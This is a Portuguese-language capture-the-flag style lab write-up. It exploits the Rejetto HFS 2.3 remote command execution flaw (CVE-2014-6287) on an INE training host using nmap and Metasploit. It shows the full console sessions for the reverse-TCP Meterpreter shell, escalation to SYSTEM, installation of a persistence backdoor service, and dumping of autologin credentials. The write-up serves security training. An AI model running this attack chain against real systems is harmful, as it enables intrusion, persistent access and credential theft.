- EXPLORAÇÃO - METASPLOIT

SONAEL NETO

February 2023

Exploração - Metasploit | Sonael de A. Angelos Neto

- **Metasploit**

  O Metasploit é uma ferramenta de testes de penetração e exploração de vulnerabilidades em sistemas de computador. Ele fornece um conjunto de módulos e técnicas para explorar vulnerabilidades conhecidas em sistemas operacionais, aplicativos e dispositivos de rede, e pode ser usado tanto para fins de teste de segurança quanto para atividades maliciosas, sendo uma ferramenta de código aberto e é amplamente utilizado por profissionais de segurança e hackers éticos em todo o mundo.

- **Vulnerabilidade Rejetto HTTP File Server (CVE-2014-6287)**

  A CVE-2014-6287 é uma identificação única atribuída a uma vulnerabilidade de segurança específica que foi descoberta em 2014 no software Rejetto HTTP File Server. Essa vulnerabilidade permitia que um atacante remoto executasse código arbitrário no sistema afetado, sem a necessidade de autenticação. A vulnerabilidade foi corrigida por meio de uma atualização de segurança do software. A CVE-2014-6287 é amplamente referenciada em bancos de dados de vulnerabilidades e é usada por profissionais de segurança para rastrear e identificar vulnerabilidades específicas.

Sumário

Nesse documento resolve um laboratório do Ine chamado "Metasploit".

Complementos:

Ferramentas utilizadas:

- **Metasploit** :
    - Utilizaremos o `Metasploit` para explorar a vulnerabilidade encontrada no laboratório.
- **Nmap** :
    - Utilizaremos o `Nmap` para descobrir os serviços e portas abertas na máquina.

• Identify available services on the target.

Primeiramente, vamos descobrir se a maquina alvo está online, para isso vamos utilizar o comando `ping`:

```
root@INE:~# ping demo.ine.local
PING demo.ine.local (10.4.27.45) 56(84) bytes of data.
64 bytes from demo.ine.local (10.4.27.45): icmp_seq=1 ttl=125 time=10.4 ms
64 bytes from demo.ine.local (10.4.27.45): icmp_seq=2 ttl=125 time=9.44 ms
64 bytes from demo.ine.local (10.4.27.45): icmp_seq=3 ttl=125 time=9.44 ms
^C
--- demo.ine.local ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 9.441/9.750/10.368/0.436 ms
```

Agora que sabemos que a maquina está online e o seu `ip`, vamos descobrir os serviços e portas abertas na máquina, para isso vamos utilizar o comando `nmap`:

```
root@INE:~# nmap demo.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-14 08:24 IST
Nmap scan report for demo.ine.local (10.4.27.45)
Host is up (0.0093s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds
```

- **Find vulnerability of the target application.**

Para descobrir a vulnerabilidade da aplicação, vamos utilizar o `Nmap`.

```
root@INE:~# nmap -A -p 80 demo.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-14 08:33 IST
Nmap scan report for demo.ine.local (10.4.27.45)
Host is up (0.0094s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows
Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn
(91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows 7,
Windows Server 2012, or Windows 8.1 Update 1 (91%), Microsoft Windows Server 2016
(90%), Microsoft Windows 10 1703 (90%), Microsoft Windows Server 2008 SP2 (90%),
Microsoft Windows 7 SP1 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.03 ms linux (10.10.4.1)
2   ...
3   9.63 ms demo.ine.local (10.4.27.45)

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.30 seconds
```

Onde temos:

- `-A` : Ativa OS detection, version detection, script scanning e traceroute.
- `-p 80` : Define a porta a ser escaneada.

Sabemos que a aplicação está rodando um `HTTPFileServer 2.3` na porta `80`, vamos verificar se existe alguma vulnerabilidade conhecida para esse serviço utilizando o `searchsploit`:

Searchsploit é um script que permite pesquisar por exploits e vulnerabilidades em um banco de dados de mais de 45.000 arquivos de exploit.

```
root@INE:~# searchsploit hfs 2.3
------------------------------------------------------------------------------
---------------------------------
 Exploit Title                                                              |
Path
------------------------------------------------------------------------------
---------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)                 |
windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)                 |
multiple/remote/48569.py
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload              |
multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)         |
windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)         |
windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution    |
windows/webapps/34852.txt
------------------------------------------------------------------------------
---------------------------------
Shellcodes: No Results
Papers: No Results
```

Recebemos uma saída informando que o servidor `hfs 2.3` é vulnerável à execução de comando remoto (RCE)

• Exploit the target using Metasploit Framework.

Agora que sabemos que a aplicação é vulnerável à execução de comando remoto, vamos explorar essa vulnerabilidade utilizando o `Metasploit`.

Vamos abrir o `Metasploit` com o comando `msfconsole` e pesquisar `rejetto`:

```
root@INE:~# msfconsole -q
msf6 > search rejetto

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check
Description
   -  ----                                  ---------------  ----       -----  --
---------
   0  exploit/windows/http/rejetto_hfs_exec  2014-09-11       excellent  Yes
```

```
Rejetto HttpFileServer Remote Command Execution


Interact with a module by name or index. For example info 0, use 0 or use
exploit/windows/http/rejetto_hfs_exec
```

O `Metasploit` nos retorna um módulo de exploração para a vulnerabilidade encontrada, vamos utilizar esse módulo para explorar a vulnerabilidade atraves do comando `use 0`:

```
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

Agora que o módulo foi carregado, vamos configurar as opções do módulo utilizando o comando `show options` para listar as opções disponíveis e o comando `set` para configurar as opções:

```
msf6 exploit(windows/http/rejetto_hfs_exec) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web
server
   Proxies                     no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see
https://github.com/rapid7/metasploit-framework/wiki/Using-Meta
                                         sploit
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to
listen on. This must be an address on the local
                                          machine or 0.0.0.0 to listen on all
addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing
connections
   SSLCert                     no        Path to a custom SSL certificate (default
is randomly generated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default
is random)
   VHOST                       no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread,
```

```
process, none)
   LHOST     10.10.4.3        yes       The listen address (an interface may be
specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Vamos configurar a opção `RHOSTS` com o endereço IP da aplicação:

```
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS demo.ine.local
RHOSTS => demo.ine.local
```

Agora vamos executar o módulo de exploração com o comando `run`:

```
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 10.10.4.3:4444
[*] Using URL: http://0.0.0.0:8080/r92pkMb9
[*] Local IP: http://10.10.4.3:8080/r92pkMb9
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /r92pkMb9
[*] Sending stage (175174 bytes) to 10.4.27.45
[*] Meterpreter session 1 opened (10.10.4.3:4444 -> 10.4.27.45:49864 ) at 2023-02-
14 09:03:04 +0530
[*] Server stopped.
```

Para descobrir o usuário que está executando a aplicação, vamos utilizar o comando `getuid`:

```
meterpreter > getuid
Server username: ATTACKDEFENSE\Administrator
```

• Obtain SYSTEM privileges on the machine.

Para obter privilégios de `SYSTEM` na máquina, vamos utilizar o comando `getsystem` do `Meterpreter`, esse comando usa métodos predefinidos para obter o privilégio mais alto na máquina comprometida.

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

`Meterpreter` nos retorna que o usuário `ATTACKDEFENSE\Administrator` foi elevado para `NT AUTHORITY\SYSTEM`.

• Install Persistence backdoor

Para instalar um backdoor de persistência na máquina, vamos utilizar o modulo `exploit/windows/local/persistence_service` do `Metasploit`, mas primeiro vamos colocar o `Meterpreter` em background com o comando `background` ou `ctrl + z`:

```
meterpreter > background
[*] Backgrounding session 1...
```

Agora vamos utilizar o modulo `exploit/windows/local/persistence_service` utilizando o comando `use` e `show options` para listar as opções disponíveis:

```
msf6 exploit(windows/http/rejetto_hfs_exec) > use
exploit/windows/local/persistence_service
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence_service) > show options

Module options (exploit/windows/local/persistence_service):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   REMOTE_EXE_NAME                      no        The remote victim name. Random
string as default.
   REMOTE_EXE_PATH                      no        The remote victim exe path to
run. Use temp directory as default.
   RETRY_TIME          5                no        The retry time that shell
connect failed. 5 seconds as default.
   SERVICE_DESCRIPTION                  no        The description of service.
Random string as default.
   SERVICE_NAME                         no        The name of service. Random
string as default.
   SESSION                              yes       The session to run this module
```

```
on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread,
process, none)
   LHOST     10.10.4.3        yes       The listen address (an interface may be
specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows
```

Aqui nos temos que configurar a opção `SESSION` com o número da sessão que o `Meterpreter` está rodando, para isso temos que utilizar o comando `sessions` para listar as sessões disponíveis:

```
msf6 exploit(windows/local/persistence_service) > sessions

Active sessions
===============

  Id  Name  Type                     Information
Connection
  --  ----  ----                     -----------                          --------
--
  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ ATTACKDEFENSE
10.10.4.3:4444 -> 10.4.29.138:49724  (10.4.29.138)

msf6 exploit(windows/local/persistence_service) > set SESSION 1
SESSION => 1
```

Agora vamos executar o módulo de exploração com o comando `run`:

```
msf6 exploit(windows/local/persistence_service) > run

[*] Started reverse TCP handler on 10.10.4.2:4444
[*] Running module against ATTACKDEFENSE
[+] Meterpreter service exe written to
C:\Users\ADMINI~1\AppData\Local\Temp\1\IhDTsJsS.exe
[*] Creating service onLE
[*] Cleanup Meterpreter RC File:
/root/.msf4/logs/persistence/ATTACKDEFENSE_20230214.2224/ATTACKDEFENSE_20230214.22
```

```
24.rc
[*] Sending stage (175174 bytes) to 10.4.29.138
[*] Meterpreter session 2 opened (10.10.4.2:4444 -> 10.4.29.138:49764 ) at 2023-
02-14 09:22:26 +0530

meterpreter >
```

Agora, para testar se o backdoor de persistência foi instalado com sucesso, vamos colocar o `Meterpreter` em background com o comando `background` e matar a sessão com o comando `sessions -K`:

```
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/persistence_service) > sessions -K
[*] Killing all sessions...
[*] 10.4.29.138 - Meterpreter session 1 closed.
[*] 10.4.29.138 - Meterpreter session 2 closed.
```

Agora vamos utilizar o modulo `exploit/multi/handler` para receber a nova sessão com o backdoor de persistência, para isso vamos utilizar o comando `use` e `show options` para listar as opções disponíveis:

```
msf6 exploit(windows/local/persistence_service) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be
specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
```

Vamos configurar o payload com o comando `set payload` e as opções `LHOST` e `LPORT` com o comando `set`:

```
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.4.3
LHOST => 10.10.4.3
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
```

Agora basta executar o módulo de exploração com o comando `run`:

```
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.4.3:4444
[*] Sending stage (175174 bytes) to 10.4.29.138
[*] Meterpreter session 3 opened (10.10.4.3:4444 -> 10.4.29.138:49825 ) at 2023-
02-14 09:31:41 +0530

meterpreter >
```

Que nos deu uma nova sessão com o `Meterpreter` rodando no sistema alvo.

• Extract AutoLogin credentials.

Antes de tudo, precisamos migrar o processo atual para o `explorer.exe` para que tenhamos controle total desse ambiente de usuário específico, ou seja, usuário administrador:

Para isso vamos utilizar o comando `migrate` com a opção `-N` para especificar o nome do processo que queremos migrar:

```
meterpreter > migrate -N explorer.exe
[*] Migrating from 828 to 3548...
[*] Migration completed successfully.
```

Agora vamos utilizar o modulo `post/windows/gather/credentials/windows_autologin` para extrair as credenciais de autenticação do usuário administrador, para isso vamos utilizar o comando `use` e `show options` para listar as opções disponíveis. Mas antes disso vamos colocar o `Meterpreter` em background com o comando `background`:

```
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > use
post/windows/gather/credentials/windows_autologin
msf6 post(windows/gather/credentials/windows_autologin) > show options
```

```
Module options (post/windows/gather/credentials/windows_autologin):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on
```

Esse módulo apenas requer a opção `SESSION` com o número da sessão que o `Meterpreter` está rodando, então vamos configurar essa opção com o comando `set`:

```
msf6 post(windows/gather/credentials/windows_autologin) > set SESSION 3
SESSION => 3
```

E agora vamos executar o módulo de exploração com o comando `run`:

```
msf6 post(windows/gather/credentials/windows_autologin) > run

[*] Running against ATTACKDEFENSE on session 3
[+] AutoAdminLogon=1, DefaultDomain=ATTACKDEFENSE, DefaultUser=Administrator,
DefaultPassword=hello_attackdefense
[*] Post module execution completed
```

Então, como podemos ver, o módulo de exploração nos retornou as credenciais de autenticação do usuário administrador do sistema alvo.

• Dificuldades.

Nenhuma dificuldade relevante =}

• Conclusão.

• (CVE-2014-6287)

A vulnerabilidade Rejetto HTTP File Server, identificada pela CVE-2014-6287, é um exemplo de como as falhas de segurança em softwares amplamente utilizados podem ter consequências graves para a privacidade e segurança dos usuários. Através dessa vulnerabilidade, um invasor poderia executar código malicioso em um sistema remoto, sem a necessidade de autenticação. Felizmente, a vulnerabilidade foi descoberta e corrigida antes que pudesse ser explorada em grande escala. No entanto, essa situação serve como um lembrete de que a segurança cibernética é um esforço contínuo e que é importante que os usuários se mantenham informados sobre as últimas ameaças e vulnerabilidades, e apliquem as atualizações de segurança recomendadas pelos desenvolvedores de software.

• Metasploit

O Metasploit é uma ferramenta poderosa e versátil para testes de segurança em sistemas de computador. Embora possa ser usado para fins maliciosos, a maioria dos usuários do Metasploit são profissionais de segurança e hackers éticos que desejam avaliar a segurança de sistemas e aplicativos em suas organizações ou clientes. O Metasploit é um excelente recurso para identificar vulnerabilidades e ajudar a corrigi-las antes que sejam exploradas por invasores mal-intencionados. No entanto, é importante lembrar que o uso do Metasploit deve ser sempre ético e legal, e somente com o consentimento do proprietário do sistema ou aplicativo a ser testado. Em última análise, o Metasploit é uma ferramenta valiosa para aprimorar a segurança cibernética e proteger contra ataques maliciosos.

• Referências.

- cvedetails - RejettoHttp-File-Server
- dmcxblue - Rejetto HTTP File Server (HFS) 2.3
- CVE - CVE-2014-6287
- ChatGPT

• Laboratório.

- Metasploit